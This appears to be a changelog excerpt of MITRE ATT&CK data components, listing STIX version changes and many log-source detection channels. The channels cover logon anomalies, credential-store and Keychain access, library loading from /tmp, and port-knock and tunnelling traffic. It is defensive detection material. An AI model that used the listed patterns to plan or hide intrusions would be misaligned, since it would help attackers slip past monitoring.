| x_mitre_data_source_ref | x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:13:11.135000+00:00 | 2025-10-21 15:14:36.515000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0089', 'external_id': 'DC0089'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'TerminateInstances'}, {'name': 'AWS:CloudTrail', 'channel': 'StopInstances'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:13:04.794000+00:00 | 2025-10-21 15:14:37.816000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0031', 'external_id': 'DC0031'}] | |
| x_mitre_log_sources | [{'name': 'esxi:vmkernel', 'channel': 'VM exit/entry anomalies, unexpected hypercalls, or kernel module loading'}, {'name': 'macos:osquery', 'channel': 'New kext entries not signed by Apple or outside standard identifier prefix'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--8765a845-dea1-4cd1-a56f-f54939b7ab9e |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:16:44.099000+00:00 | 2025-10-21 15:14:39.179000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0067', 'external_id': 'DC0067'}] | |
| x_mitre_log_sources | [{'name': 'Logon Session', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'UserLoggedIn'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin, AssumeRole, ListResources'}, {'name': 'azure:signin', 'channel': 'UserLoginSuccess, TokenIssued'}, {'name': 'Okta:SystemLog', 'channel': 'user.authentication.sso, app.oauth.grant'}, {'name': 'm365:signin', 'channel': 'SignInSuccess, RoleAssignmentRead'}, {'name': 'm365:unified', 'channel': 'UserLoggedIn'}, {'name': 'gcp:audit', 'channel': 'LoginAudit, DriveAudit'}, {'name': 'saas:auth', 'channel': 'LoginSuccess, APIKeyUse, AdminAction'}, {'name': 'azure:signinlogs', 'channel': 'Abnormal sign-in from scripting tools (PowerShell, AADInternals)'}, {'name': 'azure:signinlogs', 'channel': 'Suspicious login to cloud mailbox system'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624'}, {'name': 'azure:signinlogs', 'channel': 'Failed MFA attempts, unusual conditional access triggers, login attempts from unexpected IP ranges'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4648'}, {'name': 'NSM:Connections', 'channel': 'Mismatch between recorded user logon and active sessions (e.g., wtmp/utmp entries without corresponding authentication in auth.log)'}, {'name': 'macos:unifiedlog', 'channel': 'Authentication inconsistencies where commands are executed without corresponding login events'}, {'name': 'CloudTrail:Signin', 'channel': 'SAML login without corresponding IdP authentication log'}, {'name': 'm365:sharepoint', 'channel': 'File access with forged or anomalous SAML claims'}, {'name': 'AWS:CloudTrail', 'channel': 'Web console logins using session cookies without corresponding MFA event'}, {'name': 'saas:access', 'channel': 'Multiple concurrent logins using same cookie from different locations'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin: If IdP backed by cloud provider, Console login from new IP/agent after correlated endpoint compromise'}, {'name': 'macos:unifiedlog', 'channel': 'authentication'}, {'name': 'AWS:CloudTrail', 'channel': 'SendSSHPublicKey, StartSession (SSM), EC2InstanceConnect'}, {'name': 'azure:signin', 'channel': 'Microsoft.Compute/virtualMachines/serialConsole/connect/action'}, {'name': 'gcp:audit', 'channel': 'cloud.ssh.publicKey.inserted, compute.instances.osLogin'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 with LogonType=9 or smartcard logon'}, {'name': 'NSM:Connections', 'channel': 'Missing new login event but session activity continues'}, {'name': 'macos:unifiedlog', 'channel': 'Session reuse without new auth event'}, {'name': 'AWS:CloudTrail', 'channel': 'Temporary security credentials used to authenticate into management console or APIs'}, {'name': 'macos:unifiedlog', 'channel': 'Access to Keychain items or browser credential stores'}, {'name': 'm365:signin', 'channel': 'Token usage events with device/user mismatch'}, {'name': 'saas:github', 'channel': 'Login from unusual IP, device fingerprint, or location; access token creation from new client'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=10 or 3), EventCode=4648'}, {'name': 'linux:syslog', 'channel': 'sshd: Accepted password/publickey'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage CONTAINS 'screensharingd' or 'AuthorizationRefCreate'"}, {'name': 'AWS:CloudTrail', 'channel': 'AWS ConsoleLogin, StartSession'}, {'name': 'esxi:vmkernel', 'channel': 'vim.fault.*, DCUI login, SSH shell'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=3)'}, {'name': 'AWS:CloudTrail', 'channel': 'GetConsoleOutput'}, {'name': 'saas:okta', 'channel': 'user.session.start'}, {'name': 'm365:unified', 'channel': 'ViewAdminReport'}, {'name': 'saas:zoom', 'channel': 'Zoom Admin Dashboard accessed from unfamiliar IP/device'}, {'name': 'WinEventLog:Security', 'channel': 'Anomalous logon without MFA enforcement'}, {'name': 'networkdevice:Firewall', 'channel': 'Login from untrusted IP, or new admin account accessing firewall console/API'}, {'name': 'linux:syslog', 'channel': 'authentication success after file access'}, {'name': 'macos:unifiedlog', 'channel': 'Keychain or user login post-access'}, {'name': 'AWS:CloudTrail', 'channel': 'sudden role assumption after credential file access'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=10), EventCode=4648'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672, 4648'}, {'name': 'NSM:Connections', 'channel': 'Accepted publickey for user from unusual IP or without tty'}, {'name': 'saas:confluence', 'channel': 'logon'}, {'name': 'linux:syslog', 'channel': 'auth.log / secure.log'}, {'name': 'esxi:auth', 'channel': 'Shell login or escalation'}, {'name': 'linux:auth', 'channel': 'User login event followed by unexpected process tree'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUserLogin: Discovery behavior linked to privileged logins from atypical IP ranges'}, {'name': 'm365:signinlogs', 'channel': 'UserLogin: Discovery operations shortly after account logins from new geolocations'}, {'name': 'saas:auth', 'channel': 'Login, TokenGranted: Discovery actions tied to anomalous login sessions or tokens'}, {'name': 'WinEventLog:Security', 'channel': '4624'}, {'name': 'NSM:Connections', 'channel': 'simultaneous or anomalous logon sessions across multiple systems'}, {'name': 'macos:unifiedlog', 'channel': 'authentication plugin load or modification events'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4648, 4672'}, {'name': 'azure:ad', 'channel': 'SignInEvents'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4648,4672,4769'}, {'name': 'linux:syslog', 'channel': 'Accepted publickey/password for * from * port * ssh2'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd successful login events'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUser, ServicePrincipalSignIn'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole,AssumeRoleWithSAML,AssumeRoleWithWebIdentity'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUser, NonInteractiveUser'}, {'name': 'azure:signinlogs', 'channel': 'UserLogin, ConditionalAccessPolicyEvaluated'}, {'name': 'saas:okta', 'channel': 'session.token.reuse'}, {'name': 'auditd:SYSCALL', 'channel': 'capset or setns'}, {'name': 'gcp:audit', 'channel': 'admin.googleapis.com'}, {'name': 'm365:signinlogs', 'channel': 'UserLoggedIn'}, {'name': 'WinEventLog:Security', 'channel': 'EventID=4624'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634'}, {'name': 'linux:syslog', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:26.544000+00:00 | 2025-10-21 15:14:35.022000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0088', 'external_id': 'DC0088'}] | |
| x_mitre_log_sources | [{'name': 'Logon Session', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4672'}, {'name': 'macos:unifiedlog', 'channel': 'LoginWindow context with associated PID linked to reopened plist paths'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634, 4672, 4768, 4769'}, {'name': 'azure:signinLogs', 'channel': 'SAML-based login with anomalous issuer or NotOnOrAfter lifetime'}, {'name': 'm365:unified', 'channel': 'Abnormal user claims or unexpected elevated role assignment in SAML assertion'}, {'name': 'macos:unifiedlog', 'channel': 'authd generating multiple MFA token requests'}, {'name': 'linux:syslog', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4625, 4768, 4769'}, {'name': 'linux:syslog', 'channel': 'sssd / sudo logs'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634, 4672, 4769'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4778, EventCode=4779'}, {'name': 'auditd:SYSCALL', 'channel': 'ssh logins or execve of remote commands'}, {'name': 'macos:unifiedlog', 'channel': 'Remote login (ssh) or screen sharing authentication attempts'}, {'name': 'kubernetes:audit', 'channel': 'Unauthorized container creation or kubelet exec logs'}, {'name': 'auditd:USER_LOGIN', 'channel': 'USER_LOGIN'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4800, 4801'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4776,4771,4770'}, {'name': 'auditd:SYSCALL', 'channel': 'execve,socket,connect,openat'}, {'name': 'macos:unifiedlog', 'channel': 'Group membership change for admin or wheel'}, {'name': 'azure:audit', 'channel': 'Add delegated admin / Assign admin roles / Update application consent'}, {'name': 'saas:okta', 'channel': 'user.session.start, app.oauth2.as.authorize, policy.mfa.bypass'}, {'name': 'gcp:audit', 'channel': 'google.iam.credentials.generateAccessToken / serviceAccountTokenCreator'}, {'name': 'saas:salesforce', 'channel': 'ConnectedApp OAuth policy change / Login as user'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4672'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672, 4634, 4768, 4769'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual Kerberos TGS-REQ without TGT or anomalous ticket lifetime'}, {'name': 'saas:okta', 'channel': 'user.authentication.sso'}, {'name': 'm365:unified', 'channel': 'FileAccessed, SharingSet'}, {'name': 'm365:signin', 'channel': 'UserLogin'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow, sshd'}, {'name': 'NSM:Connections', 'channel': 'Successful sudo or ssh from unknown IPs'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd events with external IP'}, {'name': 'macos:unifiedlog', 'channel': "process = 'sshd'"}, {'name': 'esxi:auth', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:39:59.118000+00:00 | 2025-10-21 15:14:36.246000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0011', 'external_id': 'DC0011'}] | |
| x_mitre_log_sources | [{'name': 'Malware Repository', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--b86d9b40-5fbe-4ef1-8dc3-263eff26f495 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:16:12.329000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0003', 'external_id': 'DC0003'}] | |
| x_mitre_log_sources | [{'name': 'Malware Repository', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--b86d9b40-5fbe-4ef1-8dc3-263eff26f495 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:16:09.096000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0016', 'external_id': 'DC0016'}] | |
| x_mitre_log_sources | [{'name': 'Module', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=7'}, {'name': 'ETW:LoadImage', 'channel': 'provider: ETW LoadImage events for images from user-writable/UNC paths'}, {'name': 'auditd:SYSCALL', 'channel': 'openat/read/mmap: Open/mmap .so files from non-standard paths'}, {'name': 'linux:osquery', 'channel': "select: Open files path LIKE '/tmp/%.so' OR '/dev/shm/%.so'"}, {'name': 'macos:unifiedlog', 'channel': 'dyld/unified log entries indicating image load from non-system paths'}, {'name': 'macos:osquery', 'channel': "select: path LIKE '%/Library/%/*.dylib' OR '/tmp/*.dylib'"}, {'name': 'macos:unifiedlog', 'channel': 'dynamic loading of sleep-related functions or sandbox detection libraries'}, {'name': 'auditd:SYSCALL', 'channel': 'LD_PRELOAD Logging'}, {'name': 'linux:osquery', 'channel': 'Dynamic Linking State'}, {'name': 'macos:unifiedlog', 'channel': 'DYLD event subsystem'}, {'name': 'linux:osquery', 'channel': 'Process linked with libcrypto.so making external connections'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events with dylib load activity'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=7'}, {'name': 'WinEventLog:Application', 'channel': 'CLR Assembly creation, loading, or modification logs via MSSQL CLR integration'}, {'name': 'macos:unifiedlog', 'channel': 'Process memory maps new dylib (dylib_load event)'}, {'name': 'macos:unifiedlog', 'channel': 'Dylib loaded from abnormal location'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=3033'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=3063'}, {'name': 'auditd:MMAP', 'channel': 'load: Loading of libzip.so, libz.so, or libbz2.so by processes not normally associated with archiving'}, {'name': 'macos:unifiedlog', 'channel': 'Loading of libz.dylib, libarchive.dylib by non-standard applications'}, {'name': 'macos:unifiedlog', 'channel': 'suspicious dlopen/dlsym usage in non-development processes'}, {'name': 'm365:unified', 'channel': 'Non-standard Office startup component detected (e.g., unexpected DLL path)'}, {'name': 'auditd:SYSCALL', 'channel': 'mmap'}, {'name': 'esxi:vmkernel', 'channel': 'unexpected module load'}, {'name': 'snmp:status', 'channel': 'Status change in cryptographic hardware modules (enabled -> disabled)'}, {'name': 'esxi:vmkernel', 'channel': 'module load'}, {'name': 'macos:unifiedlog', 'channel': 'delay/sleep library usage in user context'}, {'name': 'linux:syslog', 'channel': 'kmod'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.kextd'}, {'name': 'macos:unifiedlog', 'channel': 'loading of unexpected dylibs compared to historical baselines'}, {'name': 'auditd:file-events', 'channel': 'open of suspicious .so from non-standard paths'}, {'name': 'macos:syslog', 'channel': 'DYLD_INSERT_LIBRARIES anomalies'}, {'name': 'auditd:SYSCALL', 'channel': 'dmesg'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_KEXTLOAD'}, {'name': 'auditd:SYSCALL', 'channel': 'module load or memory map path'}, {'name': 'macos:unifiedlog', 'channel': 'launch and dylib load'}, {'name': 'linux:osquery', 'channel': 'Processes linked with libssl/libcrypto performing network activity'}, {'name': 'etw:Microsoft-Windows-Kernel-ImageLoad', 'channel': 'provider: Unsigned/user-writable image loads into msbuild.exe'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--f424e4b4-a8a4-4c58-a4ae-4f53bfd08563 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:16.486000+00:00 | 2025-10-21 15:14:35.471000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0048', 'external_id': 'DC0048'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=17'}, {'name': 'macos:unifiedlog', 'channel': 'XPC messages requesting privileged actions from untrusted or unsigned clients'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--221adcd5-cccf-44df-9be6-ef607a6e1c3c |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:14:42.887000+00:00 | 2025-10-21 15:14:39.039000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0082', 'external_id': 'DC0082'}] | |
| x_mitre_log_sources | [{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connection to 169.254.169.254 from EC2 workload'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:unifiedlog', 'channel': 'connection attempts'}, {'name': 'esxi:hostd', 'channel': 'System service interactions'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3, 22'}, {'name': 'NSM:Connections', 'channel': 'web domain alerts'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=22'}, {'name': 'auditd:SYSCALL', 'channel': 'connect'}, {'name': 'auditd:SYSCALL', 'channel': 'netconnect'}, {'name': 'macos:osquery', 'channel': 'process_events/socket_events'}, {'name': 'NSM:Firewall', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'connection open'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline'}, {'name': 'NSM:Flow', 'channel': 'New TCP/443 or TCP/80 to domain not previously seen for the user/host'}, {'name': 'NSM:Connections', 'channel': 'New outbound connection from Safari/Chrome/Firefox/Word'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect'}, {'name': 'macos:osquery', 'channel': 'execution of trusted tools interacting with external endpoints'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=22'}, {'name': 'WinEventLog:Microsoft-Windows-Bits-Client/Operational', 'channel': 'BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields'}, {'name': 'NSM:Firewall', 'channel': 'proxy or TLS inspection logs'}, {'name': 'macos:unifiedlog', 'channel': 'network connection events'}, {'name': 'esxi:vmkernel', 'channel': 'protocol egress'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to *.tunnels.api.visualstudio.com or *.devtunnels.ms'}, {'name': 'NSM:Flow', 'channel': 'Connections to *.devtunnels.ms or tunnels.api.visualstudio.com'}, {'name': 'NSM:Flow', 'channel': 'HTTPs connection to tunnels.api.visualstudio.com'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156,5157'}, {'name': 'linux:osquery', 'channel': 'family=AF_PACKET or protocol raw; process name not in allowlist.'}, {'name': 'macos:unifiedlog', 'channel': 'First outbound connection from the same PID/user shortly after an inbound trigger.'}, {'name': 'NSM:Flow', 'channel': 'Outbound or inbound TFTP file transfers of ROMMON or firmware binaries'}, {'name': 'NSM:Connections', 'channel': 'Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports'}, {'name': 'NSM:Flow', 'channel': 'connection: TCP connections to ports 139/445 to multiple hosts'}, {'name': 'NSM:Flow', 'channel': 'connection: SMB connections to multiple internal hosts'}, {'name': 'auditd:SYSCALL', 'channel': 'connect/sendto'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_CONNECT'}, {'name': 'snmp:access', 'channel': 'GETBULK/GETNEXT requests for OIDs associated with configuration parameters'}, {'name': 'esxi:hostd', 'channel': 'Service initiated connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large transfer volume (>20MB) from RDS IP range to external public IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High outbound traffic from new region resource'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S initiated by newly installed interpreter process'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect syscalls on /tmp/ssh-* or $SSH_AUTH_SOCK'}, {'name': 'NSM:Flow', 'channel': 'outbound connections to RMM services or to unusual destination ports'}, {'name': 'macos:unifiedlog', 'channel': 'network sessions initiated by remote desktop apps'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connections to port 22, 3389'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect with TLS context by unexpected process'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port."}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: New bind() to a previously closed port shortly after the sequence.'}, {'name': 'NSM:Flow', 'channel': 'Sequence of REJ/S0 then SF success from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic spike through formerly blocked ports/subnets following config change'}, {'name': 'cni:netflow', 'channel': 'outbound connection to internal or external APIs'}, {'name': 'macos:osquery', 'channel': 'launchd or network_events'}, {'name': 'networkdevice:syslog', 'channel': 'Dynamic route changes'}, {'name': 'NSM:Flow', 'channel': 'New egress to Internet by the same UID/host shortly after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'connection: Inbound connections to SSH or VPN ports'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound connections to VNC/SSH ports'}, {'name': 'NSM:Flow', 'channel': 'External access to container ports (2375, 6443)'}, {'name': 'linux:syslog', 'channel': 'network'}, {'name': 'macos:osquery', 'channel': 'process_events + launchd'}, {'name': 'esxi:esxupdate', 'channel': '/var/log/esxupdate.log or /var/log/vmksummary.log'}, {'name': 'ebpf:syscalls', 'channel': 'socket connect'}, {'name': 'NSM:Flow', 'channel': 'remote access'}, {'name': 'NSM:Flow', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'network'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic observed on mirror destination instance'}, {'name': 'networkdevice:Flow', 'channel': 'Traffic from mirrored interface to mirror target IP'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:osquery', 'channel': 'process_events, socket_events'}, {'name': 'esxi:vmkernel', 'channel': 'network activity'}, {'name': 'NSM:Flow', 'channel': 'connection attempts'}, {'name': 'NSM:Flow', 'channel': 'High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs'}, {'name': 'auditd:SYSCALL', 'channel': 'sendto/connect'}, {'name': 'NSM:Flow', 'channel': 'outbound connections from host during or immediately after image build'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound Traffic'}, {'name': 'esxi:hostd', 'channel': 'Service-Based Network Connection'}, {'name': 'linux:syslog', 'channel': 'postfix/smtpd'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from browser/office lineage'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from exploited lineage'}, {'name': 'macos:osquery', 'channel': 'CONNECT: Long-lived connections from remote-control parents to external IPs/domains'}, {'name': 'auditd:SYSCALL', 'channel': 'outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or socket'}, {'name': 'macos:unifiedlog', 'channel': 'log stream network activity'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock"}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: Process binds to a new local port shortly after knock'}, {'name': 'NSM:Flow', 'channel': 'Closed-port hits followed by success from same src_ip'}, {'name': 'NSM:Flow', 'channel': 'Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock'}, {'name': 'WinEventLog:Microsoft-Windows-WLAN-AutoConfig', 'channel': '8001, 8002, 8003'}, {'name': 'linux:syslog', 'channel': 'New Wi-Fi connection established or repeated association failures'}, {'name': 'macos:unifiedlog', 'channel': 'Association and authentication events including failures and new SSIDs'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect calls showing SSH processes forwarding arbitrary ports'}, {'name': 'esxi:vmkernel', 'channel': 'network session initiation with external HTTPS services'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=8001'}, {'name': 'linux:syslog', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'openat,connect -k discovery'}, {'name': 'NSM:Flow', 'channel': 'Unexpected inbound/outbound TFTP traffic for device image files'}, {'name': 'NSM:Flow', 'channel': 'Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:23.639000+00:00 | 2025-10-21 15:14:34.190000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0102', 'external_id': 'DC0102'}] | |
| x_mitre_log_sources | [{'name': 'Network Share', 'channel': 'None'}, {'name': 'WinEventLog:Microsoft-Windows-SMBClient/Security', 'channel': 'EventID=31001'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5140'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5145'}, {'name': 'WinEventLog:Microsoft-Windows-SMBServer', 'channel': 'Access to SYSVOL share from non-admin user or unusual endpoints'}, {'name': 'NSM:Flow', 'channel': 'smb_files.log'}, {'name': 'm365:unified', 'channel': 'FileUploaded, FileAccessed'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--ba27545a-9c32-47ea-ba6a-cce50f1b326e |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:01.621000+00:00 | 2025-10-21 15:14:37.412000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0085', 'external_id': 'DC0085'}] | |
